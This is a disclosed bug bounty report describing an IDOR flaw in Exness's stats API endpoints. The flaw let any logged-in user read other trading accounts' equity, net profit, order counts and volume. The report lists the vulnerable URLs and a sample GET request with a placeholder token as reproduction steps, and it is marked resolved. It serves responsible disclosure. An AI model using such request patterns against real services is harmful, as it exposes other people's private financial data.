IDOR in Stats API Endpoint Allows Viewing Equity or Net Profit of Any MT Account

Disclosed: 2022-12-05 15:50:08 By ashwarya To exness
Medium
Vulnerability Details
Hi Team, Today I logged into my Exness PA and noticed an updated performance [page](https://my.exness.com/pa/performance/summary). I thought to give it a quick check and noticed that the API endpoints responsible for fetching the stats performance chart (```*/stats/*```) is vulnerable to IDOR via `accounts=` parameter. The issue allows fetching the stats of any MT account and discloses the account equity / net profit of the corresponding account. #Vulnerable Endpoints ``` https://my.exness.com/v3/personal_area/stats/net_profit?time_range=365&accounts={accountNumber} https://my.exness.com/v3/personal_area/stats/orders_number?time_range=365&accounts={accountNumber} https://my.exness.com/v3/personal_area/stats/trading_volume?time_range=365&accounts={accountNumber} https://my.exness.com/v3/personal_area/stats/equity?time_range=365&accounts={accountNumber} ``` #Steps to Reproduce ``` GET /v3/personal_area/stats/equity?time_range=365&accounts=xxx HTTP/2 Host: my.exness.com Authorization: Bearer xyz Content-Type: application/json ``` #Proof of Concept ███████ ## Impact IDOR allows stats of any MT trading account. The stats includes account net profit, closed order counts, trading volumes and daily equity figures.
Actions
View on HackerOne
Report Stats
  • Report ID: 1644436
  • State: Closed
  • Substate: resolved
  • Upvotes: 45
Share this report